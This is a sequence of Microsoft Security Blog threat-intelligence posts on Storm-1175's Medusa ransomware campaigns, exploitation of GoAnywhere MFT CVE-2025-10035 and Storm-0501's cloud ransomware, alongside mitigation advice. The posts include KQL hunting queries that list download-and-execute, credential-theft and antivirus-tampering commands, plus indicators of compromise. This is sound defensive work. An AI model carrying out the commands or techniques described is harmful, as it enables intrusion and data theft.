Victims were presented with a malicious MSTeamsSetup.exe in place of the legitimate client, reflecting a broader pattern of Vanilla Tempest frequently abusing trusted software brands to lure victims and establish initial access. Execution of the counterfeit installer resulted in the deployment of the Oyster backdoor (also known as Broomstick), a modular, multistage implant that establishes persistent remote access, initiates command‑and‑control (C2) communications, collects host‑level information, and enables the delivery of additional payloads. By masquerading as a widely deployed enterprise collaboration tool hiding behind a fraudulently signed binary, Vanilla Tempest’s Oyster payload was likely able to evade casual detection and blend into normal enterprise activity. In some observed cases, Vanilla Tempest also deployed Rhysida ransomware within victim environments using the same process.

Defending against Fox Tempest-enabled attacks

To defend against Fox Tempest tactics, techniques, and procedures (TTPs) and similar activity, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO. 
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor profile: Fox Tempest
• Actor profile: Vanilla Tempest
• Threat Overview profile: Human-operated ransomware
• Activity profile: Vanilla Tempest leverages fake Microsoft Teams setup to deliver Oyster backdoor

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Exposing Fox Tempest: A malware-signing service operation appeared first on Microsoft Security Blog.

The financially motivated cybercriminal actor tracked by Microsoft Threat Intelligence as Storm-1175 operates high-velocity ransomware campaigns that weaponize N-days, targeting vulnerable, web-facing systems during the window between vulnerability disclosure and widespread patch adoption. Following successful exploitation, Storm-1175 rapidly moves from initial access to data exfiltration and deployment of Medusa ransomware, often within a few days and, in some cases, within 24 hours. The threat actor’s high operational tempo and proficiency in identifying exposed perimeter assets have proven successful, with recent intrusions heavily impacting healthcare organizations, as well as those in the education, professional services, and finance sectors in Australia, United Kingdom, and United States.

The pace of Storm-1175’s campaigns is enabled by the threat actor’s consistent use of recently disclosed vulnerabilities to obtain initial access. While the threat actor typically uses N-day vulnerabilities, we have also observed Storm-1175 leveraging zero-day exploits, in some cases a full week before public vulnerability disclosure. The threat actor has also been observed chaining together multiple exploits to enable post-compromise activity. After initial access, Storm-1175 establishes persistence by creating new user accounts, deploys various tools including remote monitoring and management software for lateral movement, conducts credential theft, and tampers with security solutions before deploying ransomware throughout the compromised environment.

In this blog post, we delve into the attack techniques attributed to Storm-1175 over several years. While Storm-1175’s methodology aligns with the tactics, techniques, and procedures (TTPs) of many tracked ransomware actors, analysis of their post-compromise tactics provides essential insights into how organizations can harden and defend against attackers like Storm-1175, informing opportunities to disrupt attackers even if they have gained initial access to a network.

Storm-1175’s rapid attack chain: From initial access to impact

Exploitation of vulnerable web-facing assets

Storm-1175 rapidly weaponizes recently disclosed vulnerabilities to obtain initial access. Since 2023, Microsoft Threat Intelligence has observed exploitation of over 16 vulnerabilities, including:

• CVE-2023-21529 (Microsoft Exchange)
• CVE-2023-27351 and CVE-2023-27350 (Papercut)
• CVE-2023-46805 and CVE-2024-21887 (Ivanti Connect Secure and Policy Secure)
• CVE-2024-1709 and CVE-2024-1708 (ConnectWise ScreenConnect)
• CVE-2024-27198 and CVE-2024-27199 (JetBrains TeamCity)
• CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728 (SimpleHelp)
• CVE‑2025‑31161 (CrushFTP)
• CVE-2025-10035 (GoAnywhere MFT)
• CVE-2025-52691 and CVE-2026-23760 (SmarterMail)
• CVE-2026-1731 (BeyondTrust)

Storm-1175 rotates exploits quickly during the time between disclosure and patch availability or adoption, taking advantage of the period where many organizations remain unprotected. In some cases, Storm-1175 has weaponized exploits for disclosed vulnerabilities in as little as one day, as was the case for CVE-2025-31324 impacting SAP NetWeaver: the security issue was disclosed on April 24, 2025, and we observed Storm-1175 exploitation soon after on April 25.

In multiple intrusions, Storm-1175 has chained together exploits to enable post-compromise activities like remote code execution (RCE). For example, in July 2023, Storm-1175 exploited two vulnerabilities affecting on-premises Microsoft Exchange Servers, dubbed “OWASSRF” by public researchers: exploitation of CVE‑2022‑41080 provided initial access by exposing Exchange PowerShell via Outlook Web Access (OWA), and Storm-1175 subsequently exploited CVE‑2022‑41082 to achieve remote code execution.

Storm-1175 has also demonstrated a capability for targeting Linux systems as well: in late 2024, Microsoft Threat Intelligence identified the exploitation of vulnerable Oracle WebLogic instances across multiple organizations, though we were unable to identify the exact vulnerability being exploited in these attacks.

Finally, we have also observed the use of at least three zero-day vulnerabilities including, most recently, CVE-2026-23760 in SmarterMail, which was exploited by Storm-1175 the week prior to public disclosure, and CVE-2025-10035 in GoAnywhere Managed File Transfer, also exploited one week before public disclosure. While these more recent attacks demonstrate an evolved development capability or new access to resources like exploit brokers for Storm-1175, it is worth noting that GoAnywhere MFT has previously been targeted by ransomware attackers, and that the SmarterMail vulnerability was reportedly similar to a previously disclosed flaw; these factors may have helped to facilitate subsequent zero-day exploitation activity by Storm-1175, who still primarily leverages N-day vulnerabilities. Regardless, as attackers increasingly become more adept at identifying new vulnerabilities, understanding your digital footprint—such as through the use of public scanning interfaces like Microsoft Defender External Attack Surface Management—is essential to defending against perimeter network attacks.

Covert persistence and lateral movement

During exploitation, Storm-1175 typically creates a web shell or drops a remote access payload to establish their initial hold in the environment. From this point, Microsoft Threat Intelligence has observed Storm-1175 moving from initial access to ransomware deployment in as little as one day, though many of the actor’s attacks have occurred over a period of five to six days.

On the initially compromised device, the threat actor often establishes persistence by creating a new user and adding that user to the administrators group:

From this account, Storm-1175 begins their reconnaissance and lateral movement activity. Storm-1175 has a rotation of tools to accomplish these subsequent attack stages. Most commonly, we observe the use of living-off-the-land binaries (LOLBins), including PowerShell and PsExec, followed by the use of Cloudflare tunnels (renamed to mimic legitimate binaries like conhost.exe) to move laterally over Remote Desktop Protocol (RDP) and deliver payloads to new devices. If RDP is not allowed in the environment, Storm-1175 has been observed using administrator privileges to modify the Windows Firewall policy to enable Remote Desktop.

Storm-1175 has also demonstrated a heavy reliance on remote monitoring and management (RMM) tools during post-compromise activity. Since 2023, Storm-1175 has used multiple RMMs, including:

• Atera RMM
• Level RMM
• N-able
• DWAgent
• MeshAgent
• ConnectWise ScreenConnect
• AnyDesk
• SimpleHelp

While often used by enterprise IT teams, these RMM tools have multi-pronged functionality that could also allow adversaries to maintain persistence in a compromised network, create new user accounts, enable an alternative command-and-control (C2) method, deliver additional payloads, or use as an interactive remote desktop session.

In many attacks, Storm-1175 relies on PDQ Deployer, a legitimate software deployment tool that lets system administrators silently install applications, for both lateral movement and payload delivery, including ransomware deployment throughout the network.

Additionally, Storm-1175 has leveraged Impacket for lateral movement. Impacket is a collection of open-source Python classes designed for working with network protocols, and it is popular with adversaries due to ease of use and wide range of capabilities. Microsoft Defender for Endpoint has a dedicated attack surface reduction rule to defend against lateral movement techniques used by Impacket: Block process creations originating from PSExec and WMI commands); protecting lateral movement pathways can also mitigate Impacket.

Credential theft

Impacket is further used to facilitate credential dumping through LSASS; the threat actor also leveraged the commodity credential theft tool Mimikatz in identified intrusions in 2025. Additionally, Storm-1175 has relied on known living-off-the-land techniques for stealing credentials, such as by modifying the registry entry UseLogonCredential to turn on WDigest credential caching, or using Task Manager to dump LSASS credentials; for both of these attack techniques, the threat actor must obtain local administrative privileges to modify these resources. The attack surface reduction rule block credential stealing from LSASS can limit the effectiveness of this type of attack, and—more broadly—limiting the use of local administrator rights by end users. Ensuring that local administrator passwords are not shared through the environment can also reduce the risk of these LSASS dumping techniques.

We have also observed that after gaining administrator credentials, Storm-1175 has used a script to recover passwords from Veeam backup software, which is used to connect to remote hosts, therefore enabling ransomware deployment to additional connected systems.

With sufficient privileges, Storm-1175 can then use tools like PsExec to pivot to a Domain Controller, where they have accessed the NTDS.dit dump, a copy of the Active Directory database which contains user data and passwords that can be cracked offline. This privileged position has also granted Storm-1175 access to the security account manager (SAM), which provides detailed configuration and security settings, enabling an attacker to understand and manipulate the system environment on a much wider scale.

Security tampering for ransomware delivery

Storm-1175 modifies the Microsoft Defender Antivirus settings stored in the registry to tamper with the antivirus software and prevent it from blocking ransomware payloads; in order to accomplish this, an attacker must have access to highly privileged accounts that can modify the registry directly. For this reason, prioritizing alerts related to credential theft activity, which typically indicate an active attacker in the environment, is essential to responding to ransomware signals and preventing attackers from gaining privileged account access.

Storm-1175 has also used encoded PowerShell commands to add the C:\ drive to the antivirus exclusion path, preventing the security solution from scanning the drive and allowing payloads to run without any alerts. Defenders can harden against these tampering techniques by combining tamper protection with the DisableLocalAdminMerge setting, which prevents attackers from using local administrator privileges to set antivirus exclusions.

Data exfiltration and ransomware deployment

Like other ransomware as a service (RaaS) offerings, Medusa offers a leak site to facilitate double extortion operations for its affiliates: attackers not only encrypt data, but steal the data and hold it for ransom, threatening to leak the files publicly if a ransom is not paid. To that aim, Storm-1175 often uses Bandizip to collect files and Rclone for data exfiltration. Data synchronization tools like Rclone allow threat actors to easily transfer large volumes of data to a remote attacker-owned cloud resource. These tools also provide data synchronization capabilities, moving newly created or updated files to cloud resources in real-time to enable continuous exfiltration throughout all stages of the attack without needing attacker interaction.

Finally, having gained sufficient access throughout the network, Storm-1175 frequently leverages PDQ Deployer to launch a script (RunFileCopy.cmd) and deliver Medusa ransomware payloads. In some cases, Storm-1175 has alternatively used highly privileged access to create a Group Policy update to broadly deploy ransomware.

Mitigation and protection guidance

To defend against Storm-1175 TTPs and similar activity, Microsoft recommends the following mitigation measures:

• Use a perimeter scanning tool like Microsoft Defender External Attack Surface Management to understand your organization’s digital footprint and potential attack surface. Targeting web-facing vulnerabilities continues to be one of the most effective attack methods for initial access.
• Ensure any web-facing systems are isolated from the public internet with a secure network boundary and access them with a virtual private network (VPN). If certain servers must be accessible on the public internet, position them behind a web application firewall (WAF), reverse proxy, or perimeter network (also known as a DMZ), which can reduce the risk of vulnerability exploitation in some cases.
• Follow the defending against ransomware guidance in Microsoft’s ransomware as a service blog post, which details how to build credential hygiene as well as how to limit lateral movement using the principle of least privilege.
• Implement Credential Guard, a critical security feature that protects credentials stored in process memory  – in the LSA process lsass.exe. Credential Guard is turned on by default in Windows 11. However, if Credential Guard was previously disabled on a device, updating a device to Windows 11 does not override that setting, and Credential Guard will need to be re-enabled. Additionally, Credential Guard should be enabled before a device is joined to a domain or before a domain user signs in for the first time. If Credential Guard is enabled after domain join, the user and device secrets may already be compromised. Credential Guard can be enabled using Group Policy, the registry, or Microsoft Intune.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.  
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in Troubleshooting mode to turn off Tamper Protection temporarily without impacting the wider organizational security policy. 
• For approved RMM systems used in your environment, enforce security settings where possible to implement MFA. If an unapproved RMM installation is discovered in your network, reset passwords for accounts used to install the RMM services. If a System-level account was used to install the software, further investigation may be warranted.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques used in ransomware attacks:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe)
  • Block execution of potentially obfuscated scripts
  • Block Webshell creation for Servers
  • Block process creations originating from PSExec and WMI commands (Some organizations might experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.)
  • Block execution of potentially obfuscated scripts
  • Block use of copied or impersonated system tools
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Storm-1175
• Tool profile: Medusa ransomware
• Threat overview profile: Human-operated ransomware  

Indicators of compromise

The following indicators are gathered from identified Storm-1175 attacks during 2026.

References

• Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass)
• OWASSRF: CrowdStrike Identifies New Exploit Method for Exchange Bypassing ProxyNotShell Mitigations

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-1175 focuses gaze on vulnerable web-facing assets in high-tempo Medusa ransomware operations appeared first on Microsoft Security Blog.

On September 18, 2025, Fortra published a security advisory regarding a critical deserialization vulnerability in GoAnywhere MFT’s License Servlet, which is tracked as CVE-2025-10035 and has a CVSS score of 10.0. The vulnerability could allow a threat actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection and potential remote code execution (RCE). A cybercriminal group tracked by Microsoft Threat Intelligence as Storm-1175, known for deploying Medusa ransomware and exploiting public-facing applications for initial access, was observed exploiting the vulnerability.

Microsoft urges customers to upgrade to the latest version following Fortra’s recommendations.  We are publishing this blog post to increase awareness of this threat and to share end-to-end protection coverage details across Microsoft Defender, as well as security posture hardening recommendations for customers.

Vulnerability analysis 

The vulnerability, tracked as CVE-2025-10035, is a critical deserialization flaw impacting GoAnywhere MFT’s License Servlet Admin Console versions up to 7.8.3. It enables an attacker to bypass signature verification by crafting a forged license response signature, which then allows the deserialization of arbitrary, attacker-controlled objects.

Successful exploitation could result in command injection and potential RCE on the affected system. Public reports indicate that exploitation does not require authentication if the attacker can craft or intercept valid license responses, making this vulnerability particularly dangerous for internet-exposed instances.

The impact of CVE-2025-10035 is amplified by the fact that, upon successful exploitation, attackers could perform system and user discovery, maintain long-term access, and deploy additional tools for lateral movement and malware. Public advisories recommend immediate patching, reviewing license verification mechanisms, and closely monitoring for suspicious activity in GoAnywhere MFT environments to mitigate risks associated with this vulnerability.

Exploitation activity by Storm-1175

Microsoft Defender researchers identified exploitation activity in multiple organizations aligned to tactics, techniques, and procedures (TTPs) attributed to Storm-1175. Related activity was observed on September 11, 2025.

An analysis of the threat actor’s TTPs reveals a multi-stage attack. For initial access, the threat actor exploited the then-zero-day deserialization vulnerability in GoAnywhere MFT. To maintain persistence, they abused remote monitoring and management (RMM) tools, specifically SimpleHelp and MeshAgent. They dropped the RMM binaries directly under the GoAnywhere MFT process. In addition to these RMM payloads, the creation of .jsp files within the GoAnywhere MFT directories was observed, often at the same time as the dropped RMM tools.

The threat actor then executed user and system discovery commands and deployed tools like netscan for network discovery. Lateral movement was achieved using mstsc.exe, allowing the threat actor to move across systems within the compromised network.

For command and control (C2), the threat actor utilized RMM tools to establish their infrastructure and even set up a Cloudflare tunnel for secure C2 communication. During the exfiltration stage, the deployment and execution of Rclone was observed in at least one victim environment. Ultimately, in one compromised environment, the successful deployment of Medusa ransomware was observed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. 

• Upgrade to the latest version following Fortra’s recommendations. Note that upgrading does not address previous exploitation activity, and review of the impacted system may be required. 
• Use an enterprise attack surface management product, like Microsoft Defender External Attack Surface Management (Defender EASM), to discover unpatched systems on your perimeter. 
• Check your perimeter firewall and proxy to ensure servers are restricted from accessing the internet for arbitrary connections, like browsing and downloads. Such restrictions help inhibit malware downloads and command-and-control activity. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Turn on block mode in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants. 
• Microsoft Defender customers can turn on attack surface reduction rules to prevent common attack techniques used in ransomware attacks. Attack surface reduction rules are sweeping settings that are effective at stopping entire classes of threats: 
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Use advanced protection against ransomware 
  • Block web shell creation for servers

Microsoft Defender XDR detections

Following the release of the vulnerability, the Microsoft Defender Research Team ensured that protections are deployed for customers, from ensuring that Microsoft Defender Vulnerability Management correctly identifies and surfaces all vulnerable devices in impacted customer environments, to building Microsoft Defender for Endpoint detections and alerting along the attack chain.

Microsoft Defender Vulnerability Management customers can search for this vulnerability in the Defender Portal or navigate directly to the CVE page to view a detailed list of the exposed devices within their organization.

Customers of Microsoft Defender Experts for XDR that might have been impacted have also been notified of any post-exploitation activity and recommended actions.

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Vulnerability profile: CVE-2025-10035 – GoAnywhere Managed File Transfer
• Actor profile: Storm-1175

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Vulnerable devices

Find devices affected by the CVE-2025-10035 vulnerability.

DeviceTvmSoftwareVulnerabilities 
| where CveId in ("CVE-2025-10035") 
| summarize by DeviceName, CveId

Possible GoAnywhere MFT exploitation

Look for suspicious PowerShell commands indicative of GoAnywhere MFT exploitation. These commands are also detected with the Defender for Endpoint alert Possible exploitation of GoAnywhere MFT vulnerability. 

DeviceProcessEvents
| where InitiatingProcessFolderPath contains @"\GoAnywhere\"
| where InitiatingProcessFileName contains "tomcat"
| where InitiatingProcessCommandLine endswith "//RS//GoAnywhere"
| where FileName == "powershell.exe"
| where ProcessCommandLine has_any ("whoami", "systeminfo", "net user", "net group", "localgroup administrators", "nltest /trusted_domains", "dsquery", "samaccountname=", "query session", "adscredentials", "o365accountconfiguration", "Invoke-Expression", "DownloadString", "DownloadFile", "FromBase64String",  "System.IO.Compression", "System.IO.MemoryStream", "iex ", "iex(", "Invoke-WebRequest", "set-MpPreference", "add-MpPreference", "certutil", "bitsadmin")

Look for suspicious cmd.exe commands launched after possible GoAnywhere MFT exploitation. These commands are also detected with the Defender for Endpoint alert Possible exploitation of GoAnywhere MFT vulnerability. 

DeviceProcessEvents
| where InitiatingProcessFolderPath contains @"\GoAnywhere\"
| where InitiatingProcessFileName contains "tomcat"
| where InitiatingProcessCommandLine endswith "//RS//GoAnywhere"
| where ProcessCommandLine !contains @"\GIT\"
| where FileName == "cmd.exe"
| where ProcessCommandLine has_any ("powershell.exe", "powershell ", "rundll32.exe", "rundll32 ", "bitsadmin.exe", "bitsadmin ", "wget http", "quser") or ProcessCommandLine has_all ("nltest", "/dclist") or ProcessCommandLine has_all ("nltest", "/domain_trusts") or ProcessCommandLine has_all ("net", "user ", "/add") or ProcessCommandLine has_all ("net", "user ", " /domain") or ProcessCommandLine has_all ("net", " group", "/domain")

Storm-1175 indicators of compromise

The following query identifies known post-compromise tools leveraged in recent GoAnywhere exploitation activity attributed to Storm-1175. Note that the alert Ransomware-linked threat actor detected will detect these hashes. 

let fileHashes = dynamic(["4106c35ff46bb6f2f4a42d63a2b8a619f1e1df72414122ddf6fd1b1a644b3220", "c7e2632702d0e22598b90ea226d3cde4830455d9232bd8b33ebcb13827e99bc3", "cd5aa589873d777c6e919c4438afe8bceccad6bbe57739e2ccb70b39aee1e8b3", "5ba7de7d5115789b952d9b1c6cff440c9128f438de933ff9044a68fff8496d19"]);
union
(
DeviceFileEvents
| where SHA256 in (fileHashes)
| project Timestamp, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
DeviceEvents
| where SHA256 in (fileHashes)
| project Timestamp, FileHash = SHA256, SourceTable = "DeviceEvents"
),
(
DeviceImageLoadEvents
| where SHA256 in (fileHashes)
| project Timestamp, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
DeviceProcessEvents
| where SHA256 in (fileHashes)
| project Timestamp, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Indicators of compromise

File IoCs (RMM tools in identified Storm-1175 exploitation activity):

• 4106c35ff46bb6f2f4a42d63a2b8a619f1e1df72414122ddf6fd1b1a644b3220 (MeshAgent SHA-256) 
• c7e2632702d0e22598b90ea226d3cde4830455d9232bd8b33ebcb13827e99bc3 (SimpleHelp SHA-256) 
• cd5aa589873d777c6e919c4438afe8bceccad6bbe57739e2ccb70b39aee1e8b3 (SimpleHelp SHA-256) 
• 5ba7de7d5115789b952d9b1c6cff440c9128f438de933ff9044a68fff8496d19 (SimpleHelp SHA-256) 

Network IoCs (IPs associated with SimpleHelp):

• 31[.]220[.]45[.]120
• 45[.]11[.]183[.]123
• 213[.]183[.]63[.]41

References

• Deserialization Vulnerability in GoAnywhere MFT’s License Servlet (Fortra)
• CVE-2025-10035 Detail (CVE)
• CVE-2025-10035 Detail (NIST)
• Upgrade Process (GoAnywhere)

Learn more

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The post Investigating active exploitation of CVE-2025-10035 GoAnywhere Managed File Transfer vulnerability appeared first on Microsoft Security Blog.

Unlike traditional on-premises ransomware, where the threat actor typically deploys malware to encrypt critical files across endpoints within the compromised network and then negotiates for a decryption key, cloud-based ransomware introduces a fundamental shift. Leveraging cloud-native capabilities, Storm-0501 rapidly exfiltrates large volumes of data, destroys data and backups within the victim environment, and demands ransom—all without relying on traditional malware deployment.

Storm-0501’s targeting is opportunistic. The threat actor initially deployed Sabbath ransomware in an attack against United States school districts in 2021. In November 2023, the actor targeted the healthcare sector. Over the years, the actor switched ransomware payloads multiple times, using Embargo ransomware in 2024 attacks.

In September 2024, we published a blog detailing how Storm-0501 extended its on-premises ransomware operations into hybrid cloud environments. The threat actor gained a foothold by compromising Active Directory environments and then pivoted to Microsoft Entra ID, escalating privileges on hybrid and cloud identities to gain global administrator privileges. The impact phase of these attacks took one of two forms: implanting backdoors in Entra ID tenant configurations using maliciously added federated domains to allow sign-in as nearly any user or deploying on-premises ransomware to encrypt endpoints and servers, eventually demanding ransom for the decryption keys.

Storm-0501 has continued to demonstrate proficiency in moving between on-premises and cloud environments, exemplifying how threat actors adapt as hybrid cloud adoption grows. They hunt for unmanaged devices and security gaps in hybrid cloud environments to evade detection and escalate cloud privileges and, in some cases, traverse tenants in multi-tenant setups to achieve their goals.

In this blog post, we describe the impact of a recent Storm-0501 attack on a compromised cloud environment. We trace how the threat actor achieved cloud-based ransomware impact through cloud privilege escalation, taking advantage of protection and visibility gaps across the compromised environment, and pivoting from on-premises to cloud pivots. Understanding how such attacks are conducted is critical in protecting cloud environments. Below we share protection and mitigation recommendations, including strengthening protections for cloud identities and cloud resources, and detection guidance across Microsoft security solutions to help organizations harden their networks against these attacks.

On-premises compromise and pivot to the cloud

In a recent campaign, Storm-0501 compromised a large enterprise composed of multiple subsidiaries, each operating its own Active Directory domain. These domains are interconnected through domain trust relationships, enabling cross-domain authentication and resource access.

The cloud environment mirrors this complexity. Different subsidiaries maintain separate Microsoft Azure tenants, with varying Microsoft Defender product coverage. Notably, only one tenant had Microsoft Defender for Endpoint deployed, and devices from multiple Active Directory domains were onboarded to this single tenant’s license. This fragmented deployment created visibility gaps across the environment.

Active Directory domains were synchronized to several Entra ID tenants using Entra Connect Sync servers. In some cases, a single domain was synced to more than one tenant, further complicating identity management and monitoring. For clarity, this blog focuses on the two tenants impacted by the attack: one where on-premises activity was observed, and another where cloud-based activity occurred.

On-premises activity

For the purposes of this blog, we focus our analysis on the post-compromise phase of the on-premises attack, meaning that the threat actor had already achieved domain administrator privileges in the targeted domain. Read our previous blog for a more comprehensive overview of Storm-0501 tactics in on-premises environments.

The limited deployment of Microsoft Defender for Endpoint across the environment significantly hindered detection. Of the multiple compromised domains, only one domain had significant Defender for Endpoint deployment, leaving portions of the network unmonitored. On the few onboarded devices where Storm-0501 activity was observed, we noted that the threat actor conducted reconnaissance before executing malicious actions. Specifically, the threat actor used the following commands:

sc query sense
sc query windefend

The threat actor checked for the presence of Defender for Endpoint services, suggesting a deliberate effort to avoid detection by targeting non-onboarded systems. This highlights the importance of comprehensive endpoint coverage.

Lateral movement was facilitated using Evil-WinRM, a post-exploitation tool that utilizes PowerShell over Windows Remote Management (WinRM) for remote code execution. The abovementioned commands were executed over sessions initiated with the tool, as well as discovery using other common native Windows tools and commands such as quser.exe and net.exe. Earlier in the attack, the threat actor had compromised an Entra Connect Sync server that was not onboarded to Defender for Endpoint. We assess that this server served as a pivot point, with the threat actor establishing a tunnel to move laterally within the network.

The threat actor also performed a DCSync attack, a technique that abuses the Directory Replication Service (DRS) Remote Protocol to simulate the behavior of a domain controller. By impersonating a domain controller, the threat actor could request password hashes for any user in the domain, including privileged accounts. This technique is often used to extract credentials without triggering traditional authentication-based alerts.

Pivot to the cloud

Following the on-premises compromise of the first tenant, the threat actor leveraged the Entra Connect Sync Directory Synchronization Account (DSA) to enumerate users, roles, and Azure resources within the tenant. This reconnaissance was performed using AzureHound, a tool designed to map relationships and permissions in Azure environments and consequently find potential attack paths and escalations.

